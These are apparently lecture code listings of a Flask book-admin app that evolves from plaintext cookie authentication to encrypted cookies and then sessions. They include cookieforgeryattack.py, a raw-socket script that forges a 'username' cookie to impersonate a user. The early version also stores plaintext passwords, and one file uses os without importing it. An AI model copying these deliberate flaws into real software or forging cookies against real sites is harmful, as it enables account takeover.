PennyAdmin04Auth/penny.sql (Page 1 of 1)

```
 1: DROP TABLE IF EXISTS books;
 2: CREATE TABLE books (isbn TEXT PRIMARY KEY, author TEXT, title TEXT);
 3: INSERT INTO books (isbn, author, title)
 4:    VALUES ('123', 'Kernighan','The Practice of Programming');
 5: INSERT INTO books (isbn, author, title)
 6:    VALUES ('234', 'Kernighan','The C Programming Language');
 7: INSERT INTO books (isbn, author, title)
 8:    VALUES ('345', 'Sedgewick','Algorithms in C');
 9:
10: DROP TABLE IF EXISTS users;
11: CREATE TABLE users (username TEXT PRIMARY KEY, password TEXT);
12: INSERT INTO users (username, password) VALUES ('rdondero', 'xxx');
13: INSERT INTO users (username, password) VALUES ('bwk', 'yyy');
14: INSERT INTO users (username, password) VALUES ('rs', 'zzz');
15:
16: DROP TABLE IF EXISTS authorizedusers;
17: CREATE TABLE authorizedusers (username TEXT PRIMARY KEY);
18: INSERT INTO authorizedusers (username) VALUES ('rdondero');
19: INSERT INTO authorizedusers (username) VALUES ('bwk');
```

PennyAdmin04Auth/database.py (Page 1 of 3)

```
 1: #!/usr/bin/env python
 2:
 3: #---------------------------------------------------------------------------
 4: # database.py
 5: # Author: Bob Dondero
 6: #---------------------------------------------------------------------------
 7:
 8: import os
 9: import sqlalchemy
10: import sqlalchemy.orm
11: import dotenv
12:
13: #---------------------------------------------------------------------------
14:
15: dotenv.load_dotenv()
16: _DATABASE_URL = os.getenv('DATABASE_URL', 'sqlite:///penny.sqlite')
17: _DATABASE_URL = _DATABASE_URL.replace('postgres://', 'postgresql://')
18: _DATABASE_URL = _DATABASE_URL.replace(
19:     'postgresql://', 'postgresql+psycopg://')
20:
21: #---------------------------------------------------------------------------
22:
23: class Base(sqlalchemy.orm.DeclarativeBase):
24:     pass
25:
26: class Book (Base):
27:     __tablename__ = 'books'
28:     isbn = sqlalchemy.Column(sqlalchemy.String, primary_key=True)
29:     author = sqlalchemy.Column(sqlalchemy.String)
30:     title = sqlalchemy.Column(sqlalchemy.String)
31:
32: class User (Base):
33:     __tablename__ = 'users'
34:     username = sqlalchemy.Column(sqlalchemy.String, primary_key=True)
35:     password = sqlalchemy.Column(sqlalchemy.String)
36:
37: class AuthorizedUser (Base):
38:     __tablename__ = 'authorizedusers'
39:     username = sqlalchemy.Column(sqlalchemy.String, primary_key=True)
40:
41: _engine = sqlalchemy.create_engine(_DATABASE_URL)
42:
43: #---------------------------------------------------------------------------
44:
45: def get_books():
46:
47:     books = []
48:
49:     with sqlalchemy.orm.Session(_engine) as session:
50:         query = session.query(Book)
51:         table = query.all()
52:         for row in table:
53:             book = {'isbn': row.isbn, 'author': row.author,
54:                 'title': row.title}
55:             books.append(book)
56:
57:     return books
58:
59: #---------------------------------------------------------------------------
60:
61: def add_book(isbn, author, title):
62:
63:     with sqlalchemy.orm.Session(_engine) as session:
64:         row = Book(isbn=isbn, author=author, title=title)
65:         session.add(row)
```

PennyAdmin04Auth/database.py (Page 2 of 3)

```
66:         try:
67:             session.commit()
68:             return True
69:         except sqlalchemy.exc.IntegrityError:
70:             return False
71:
72: #-----------------------------------------------------------------------
73:
74: def delete_book(isbn):
75:
76:     with sqlalchemy.orm.Session(_engine) as session:
77:         session.query(Book).filter(Book.isbn==isbn).delete()
78:         session.commit()
79:
80: #-----------------------------------------------------------------------
81:
82: def get_password(username):
83:
84:     with sqlalchemy.orm.Session(_engine) as session:
85:         query = session.query(User).filter(User.username==username)
86:         try:
87:             row = query.one()
88:             return row.password
89:         except sqlalchemy.exc.NoResultFound:
90:             return None
91:
92: #-----------------------------------------------------------------------
93:
94: def is_authorized(username):
95:
96:     with sqlalchemy.orm.Session(_engine) as session:
97:         query = session.query(AuthorizedUser) \
98:             .filter(AuthorizedUser.username==username)
99:         try:
100:            query.one()
101:            return True
102:        except sqlalchemy.exc.NoResultFound:
103:            return False
104:
105: #-----------------------------------------------------------------------
106:
107: def add_user(username, password):
108:
109:     with sqlalchemy.orm.Session(_engine) as session:
110:         row = User(username=username, password=password)
111:         session.add(row)
112:         try:
113:             session.commit()
114:             return True
115:         except sqlalchemy.exc.IntegrityError:
116:             return False
117:
118: #-----------------------------------------------------------------------
119:
120: # For testing:
121:
122: def _write_books(books):
123:     for book in books:
124:         print(f'{book['isbn']} | {book['author']} | {book['title']}')
125:
126: def _test():
127:     print('-----------------------------------')
128:     print('Testing get_books()')
129:     print('-----------------------------------')
130:     print()
```

PennyAdmin04Auth/database.py (Page 3 of 3)

```
131:     books = get_books()
132:     _write_books(books)
133:     print()
134:
135:     print('-----------------------------------')
136:     print('Testing add_book()')
137:     print('-----------------------------------')
138:     print()
139:     successful = add_book('456', 'Kernighan', 'New Book')
140:     if successful:
141:         print('Add was successful')
142:         print()
143:         books = get_books()
144:         _write_books(books)
145:         print()
146:     else:
147:         print('Add was unsuccessful')
148:         print()
149:         _write_books(books)
150:         print()
151:     successful = add_book('456', 'Kernighan', 'New Book')
152:     if successful:
153:         print('Add was successful')
154:         print()
155:         books = get_books()
156:         _write_books(books)
157:         print()
158:     else:
159:         print('Add was unsuccessful')
160:         print()
161:         _write_books(books)
162:         print()
163:
164:     print('-----------------------------------')
165:     print('Testing delete_book()')
166:     print('-----------------------------------')
167:     print()
168:     delete_book('456')
169:     books = get_books()
170:     _write_books(books)
171:     print()
172:     delete_book('456')
173:     books = get_books()
174:     _write_books(books)
175:     print()
176:
177:     print('-----------------------------------')
178:     print('Testing get_password()')
179:     print('-----------------------------------')
180:     print()
181:     password = get_password('rdondero')
182:     print(password)
183:     password = get_password('rdondero2')
184:     print(password)
185:     print()
186:
187: if __name__ == '__main__':
188:     _test()
```

PennyAdmin04Auth/header.html (Page 1 of 1)

```
1: <hr>Hello {{username}}, and welcome to <strong>PennyAdmin</strong><hr>
```

PennyAdmin04Auth/footer.html (Page 1 of 1)

```
1: <hr>
2: <a href="logout">Log out</a> of the application</br>
3: <hr>
4: Created by <a href="https://www.cs.princeton.edu/~rdondero">
5: Bob Dondero</a>
6: <hr>
```

PennyAdmin04Auth/menu.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>PennyAdmin</title>
   </head>
   <body>
      {% include 'header.html' %}
      <br>
      <a href="/show">Show all books</a><br>
      {% if is_authorized: %}
         <a href="/add">Add a book</a><br>
         <a href="/delete">Delete a book by ISBN</a><br>
      {% endif %}
      <br>
      {% include 'footer.html' %}
   </body>
</html>
```

PennyAdmin04Auth/login.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>Penny.com</title>
   </head>
   <body>
      <h1>Login to Penny</h1>
      <!-- Use post instead of get for security. -->
      <form action="/handlelogin" method="post">
         <table>
            <tbody>
               <tr>
                  <td style="text-align:right">User name:</td>
                  <td><input type="text" name="username" autofocus
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  </td>
               </tr>
               <tr>
                  <td style="text-align:right">Password:</td>
                  <td><input type="password" name="password"
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  <td>
               </tr>
               <tr>
                  <td></td>
                  <td><input type="submit" value="Go"></td>
               </tr>
            </tbody>
         </table>
      </form>
      <br>
      Don't have an account? <a href="/signup">Sign up</a>
      <br>
      <br>
      <strong>{{msg}}</strong>
   </body>
</html>
```

PennyAdmin04Auth/signup.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>Penny.com</title>
   </head>
   <body>
      <h1>Penny New User Signup</h1>
      <!-- Use post instead of get for security. -->
      <form action="/handlesignup" method="post">
         <table>
            <tbody>
               <tr>
                  <td style="text-align:right">User name:</td>
                  <td><input type="text" name="username" autofocus
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  </td>
               </tr>
               <tr>
                  <td style="text-align:right">Password:</td>
                  <td><input type="password" name="password"
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  <td>
               </tr>
               <tr>
                  <td></td>
                  <td><input type="submit" value="Go"></td>
               </tr>
            </tbody>
         </table>
      </form>
      <br>
      <strong>{{error_msg}}</strong>
   </body>
</html>
```

PennyAdmin04Auth/loggedout.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>PennyAdmin</title>
   </head>
   <body>
      <h2>You are logged out of PennyAdmin</h2>
      <a href="/index">Revisit the application</a>
   </body>
</html>
```

PennyAdmin04Auth/penny.py (Page 1 of 3)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# penny.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import flask
import database
import auth

#-----------------------------------------------------------------------

app = flask.Flask(__name__, template_folder='.')

auth.init(app)

#-----------------------------------------------------------------------

@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():

    html_code = flask.render_template('index.html')
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/menu', methods=['GET'])
def menu():

    auth.authenticate()
    username = auth.get_username()

    is_authorized = database.is_authorized(username)

    html_code = flask.render_template('menu.html', username=username,
        is_authorized=is_authorized)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/show', methods=['GET'])
def show():

    auth.authenticate()
    username = auth.get_username()

    books = database.get_books()
    html_code = flask.render_template('show.html',
        username=username, books=books)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/add', methods=['GET'])
def add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
```

PennyAdmin04Auth/penny.py (Page 2 of 3)

```
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('add.html', username=username)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/handleadd', methods=['POST'])
def handle_add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    isbn = flask.request.form.get('isbn')
    if (isbn is None) or (isbn.strip() == ''):
        message = 'The addition was unsuccessful: missing ISBN'
    else:
        author = flask.request.form.get('author')
        if (author is None) or (author.strip() == ''):
            message = 'The addition was unsuccessful: missing author'
        else:
            title = flask.request.form.get('title')
            if (title is None) or (title.strip() == ''):
                message = 'The addition was unsuccessful: missing title'
            else:
                isbn = isbn.strip()
                author = author.strip()
                title = title.strip()

                successful = database.add_book(isbn, author, title)
                if not successful:
                    message = 'The addition was unsuccessful: '
                    message += 'duplicate ISBN'
                else:
                    message = 'The addition was successful'

    html_code = flask.render_template('reportresults.html',
        username=username, message=message)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/delete', methods=['GET'])
def delete():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to delete books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('delete.html', username=username)
    response = flask.make_response(html_code)
    return response
```

PennyAdmin04Auth/penny.py (Page 3 of 3)

```
131:
132: #-----------------------------------------------------------------------
133:
134: @app.route('/handledelete', methods=['POST'])
135: def handle_delete():
136:
137:     auth.authenticate()
138:     username = auth.get_username()
139:
140:     if not database.is_authorized(username):
141:         html_code = 'You are not authorized to delete books.'
142:         response = flask.make_response(html_code)
143:         return response
144:
145:     isbn = flask.request.form.get('isbn')
146:     if (isbn is None) or (isbn.strip() == ''):
147:         message = 'The deletion was unsuccessful: missing ISBN'
148:     else:
149:         isbn = isbn.strip()
150:         database.delete_book(isbn)
151:         message = 'The deletion was successful'
152:
153:     html_code = flask.render_template('reportresults.html',
154:         username=username, message=message)
155:     response = flask.make_response(html_code)
156:     return response
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin04Auth/auth.py (Page 1 of 2)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import flask
import database

#-----------------------------------------------------------------------
# Authentication routes
#-----------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])
    app.add_url_rule('/signup',  'signup', signup,
        methods=['GET'])
    app.add_url_rule('/handlesignup',  'handle_signup', handle_signup,
        methods=['POST'])

#-----------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-----------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.request.cookies.get('original_url', '/index')
    response = flask.redirect(original_url)
    response.set_cookie('username', username)
    return response

#-----------------------------------------------------------------------

def logout():

    html_code = flask.render_template('loggedout.html')
    response = flask.make_response(html_code)

```

PennyAdmin04Auth/auth.py (Page 2 of 2)

```
    # Delete cookies in the browser by setting them to expire at
    # a time that is in the past.
    response.set_cookie('username', '', expires=0)
    response.set_cookie('original_url', '', expires=0)

    return response

#-----------------------------------------------------------------------

def signup():

    error_msg = flask.request.args.get('error_msg')
    if error_msg is None:
        error_msg = ''
    html_code = flask.render_template('signup.html',
        error_msg=error_msg)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

def handle_signup():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid username'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid password'))
    successful = database.add_user(username, password)
    if not successful:
        return flask.redirect(
            flask.url_for('signup', error_msg='Duplicate username'))
    return flask.redirect(
        flask.url_for('login', msg='You now are signed up.'))

#-----------------------------------------------------------------------
# Authentication functions
#-----------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-----------------------------------------------------------------------

def get_username():

    return flask.request.cookies.get('username')

#-----------------------------------------------------------------------

def authenticate():

    username = flask.request.cookies.get('username')
    if username is None:
        response = flask.redirect(flask.url_for('login'))
        response.set_cookie('original_url', flask.request.url)
        flask.abort(response)
```

cookieforgeryattack.py (Page 1 of 1)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# cookieforgeryattack.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import sys
import socket

def main():

    if len(sys.argv) != 3:
        print('Usage: python %s host port' % sys.argv[0])
        sys.exit(1)

    try:
        host = sys.argv[1]
        port = int(sys.argv[2])

        with socket.socket() as sock:
            sock.connect((host, port))

            with sock.makefile(
                mode='w', encoding='iso-8859-1') as out_flo:
                out_flo.write('GET ' + '/show' + ' HTTP/1.1\r\n')
                out_flo.write('Host: ' + host + '\r\n')
                out_flo.write('Cookie: username=rdondero\r\n')
                out_flo.write('\r\n')

            with sock.makefile(
                mode='r', encoding='iso-8859-1') as in_flo:
                for line in in_flo:
                    print(line, end='')

    except Exception as ex:
        print(ex, file=sys.stderr)
        sys.exit(1)

if __name__ == '__main__':
    main()
```

blank (Page 1 of 1)

```
This page is intentionally blank.
```

PennyAdmin05aEncrypt/auth.py (Page 1 of 3)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import os
import cryptocode
import flask
import dotenv
import database

#-----------------------------------------------------------------------

dotenv.load_dotenv()
_APP_SECRET_KEY = os.environ['APP_SECRET_KEY']

#-----------------------------------------------------------------------
# Authentication routes
#-----------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])
    app.add_url_rule('/signup',  'signup', signup,
        methods=['GET'])
    app.add_url_rule('/handlesignup',  'handle_signup', handle_signup,
        methods=['POST'])

#-----------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-----------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.request.cookies.get('original_url', '/index')
    response = flask.redirect(original_url)
    encrypted_username = cryptocode.encrypt(username, _APP_SECRET_KEY)
    response.set_cookie('username', encrypted_username)
```

PennyAdmin05aEncrypt/auth.py (Page 2 of 3)

```
    return response

#-----------------------------------------------------------------------

def logout():

    html_code = flask.render_template('loggedout.html')
    response = flask.make_response(html_code)

    # Delete cookies in the browser by setting them to expire at
    # a time that is in the past.
    response.set_cookie('username', '', expires=0)
    response.set_cookie('original_url', '', expires=0)

    return response

#-----------------------------------------------------------------------

def signup():

    error_msg = flask.request.args.get('error_msg')
    if error_msg is None:
        error_msg = ''
    html_code = flask.render_template('signup.html',
        error_msg=error_msg)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

def handle_signup():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid username'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid password'))
    successful = database.add_user(username, password)
    if not successful:
        return flask.redirect(
            flask.url_for('signup', error_msg='Duplicate username'))
    return flask.redirect(
        flask.url_for('login', msg='You now are signed up.'))

#-----------------------------------------------------------------------
# Authentication functions
#-----------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-----------------------------------------------------------------------

def get_username():

    encrypted_username = flask.request.cookies.get('username')
    if encrypted_username is None:
        return None
```

PennyAdmin05aEncrypt/auth.py (Page 3 of 3)

```
131:     username = cryptocode.decrypt(encrypted_username, _APP_SECRET_KEY)
132:     if not username:
133:         return None
134:     return username
135:
136: #-----------------------------------------------------------------------
137:
138: def authenticate():
139:
140:     encrypted_username = flask.request.cookies.get('username')
141:
142:     if encrypted_username is None:
143:         response = flask.redirect(flask.url_for('login'))
144:         response.set_cookie('original_url', flask.request.url)
145:         flask.abort(response)
146:
147:     username = cryptocode.decrypt(encrypted_username, _APP_SECRET_KEY)
148:     if not username:
149:         response = flask.redirect(flask.url_for('login'))
150:         response.set_cookie('original_url', flask.request.url)
151:         flask.abort(response)
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin05bSession/penny.py (Page 1 of 3)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# penny.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import flask
import dotenv
import database
import auth

#-----------------------------------------------------------------------

dotenv.load_dotenv()
_APP_SECRET_KEY = os.environ['APP_SECRET_KEY']

#-----------------------------------------------------------------------

app = flask.Flask(__name__, template_folder='.')
app.secret_key = _APP_SECRET_KEY
auth.init(app)

#-----------------------------------------------------------------------

@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():

    html_code = flask.render_template('index.html')
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/menu', methods=['GET'])
def menu():

    auth.authenticate()
    username = auth.get_username()

    is_authorized = database.is_authorized(username)

    html_code = flask.render_template('menu.html', username=username,
        is_authorized=is_authorized)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/show', methods=['GET'])
def show():

    auth.authenticate()
    username = auth.get_username()

    books = database.get_books()
    html_code = flask.render_template('show.html',
        username=username, books=books)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/add', methods=['GET'])
```

PennyAdmin05bSession/penny.py (Page 2 of 3)

```
def add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('add.html', username=username)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/handleadd', methods=['POST'])
def handle_add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    isbn = flask.request.form.get('isbn')
    if (isbn is None) or (isbn.strip() == ''):
        message = 'The addition was unsuccessful: missing ISBN'
    else:
        author = flask.request.form.get('author')
        if (author is None) or (author.strip() == ''):
            message = 'The addition was unsuccessful: missing author'
        else:
            title = flask.request.form.get('title')
            if (title is None) or (title.strip() == ''):
                message = 'The addition was unsuccessful: missing title'
            else:
                isbn = isbn.strip()
                author = author.strip()
                title = title.strip()

                successful = database.add_book(isbn, author, title)
                if not successful:
                    message = 'The addition was unsuccessful: '
                    message += 'duplicate ISBN'
                else:
                    message = 'The addition was successful'

    html_code = flask.render_template('reportresults.html',
        username=username, message=message)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/delete', methods=['GET'])
def delete():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to delete books.'
```

PennyAdmin05bSession/penny.py (Page 3 of 3)

```
131:         response = flask.make_response(html_code)
132:         return response
133:
134:     html_code = flask.render_template('delete.html', username=username)
135:     response = flask.make_response(html_code)
136:     return response
137:
138: #-----------------------------------------------------------------------
139:
140: @app.route('/handledelete', methods=['POST'])
141: def handle_delete():
142:
143:     auth.authenticate()
144:     username = auth.get_username()
145:
146:     if not database.is_authorized(username):
147:         html_code = 'You are not authorized to delete books.'
148:         response = flask.make_response(html_code)
149:         return response
150:
151:     isbn = flask.request.form.get('isbn')
152:     if (isbn is None) or (isbn.strip() == ''):
153:         message = 'The deletion was unsuccessful: missing ISBN'
154:     else:
155:         isbn = isbn.strip()
156:         database.delete_book(isbn)
157:         message = 'The deletion was successful'
158:
159:     html_code = flask.render_template('reportresults.html',
160:         username=username, message=message)
161:     response = flask.make_response(html_code)
162:     return response
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin05bSession/auth.py (Page 1 of 2)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import os
import flask
import database

#-----------------------------------------------------------------------
# Authentication routes
#-----------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])
    app.add_url_rule('/signup',  'signup', signup,
        methods=['GET'])
    app.add_url_rule('/handlesignup',  'handle_signup', handle_signup,
        methods=['POST'])

#-----------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-----------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.session.get('original_url', '/index')
    response = flask.redirect(original_url)
    flask.session['username'] = username
    return response

#-----------------------------------------------------------------------

def logout():

    flask.session.clear()
    html_code = flask.render_template('loggedout.html')
```

PennyAdmin05bSession/auth.py (Page 2 of 2)

```
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

def signup():

    error_msg = flask.request.args.get('error_msg')
    if error_msg is None:
        error_msg = ''
    html_code = flask.render_template('signup.html',
        error_msg=error_msg)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

def handle_signup():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid username'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('signup', error_msg='Invalid password'))
    successful = database.add_user(username, password)
    if not successful:
        return flask.redirect(
            flask.url_for('signup', error_msg='Duplicate username'))
    return flask.redirect(
        flask.url_for('login', msg='You now are signed up.'))

#-----------------------------------------------------------------------
# Authentication functions
#-----------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-----------------------------------------------------------------------

def get_username():

    return flask.session.get('username')

#-----------------------------------------------------------------------

def authenticate():

    username = flask.session.get('username')
    if username is None:
        response = flask.redirect(flask.url_for('login'))
        flask.session['original_url'] = flask.request.url
        flask.abort(response)
```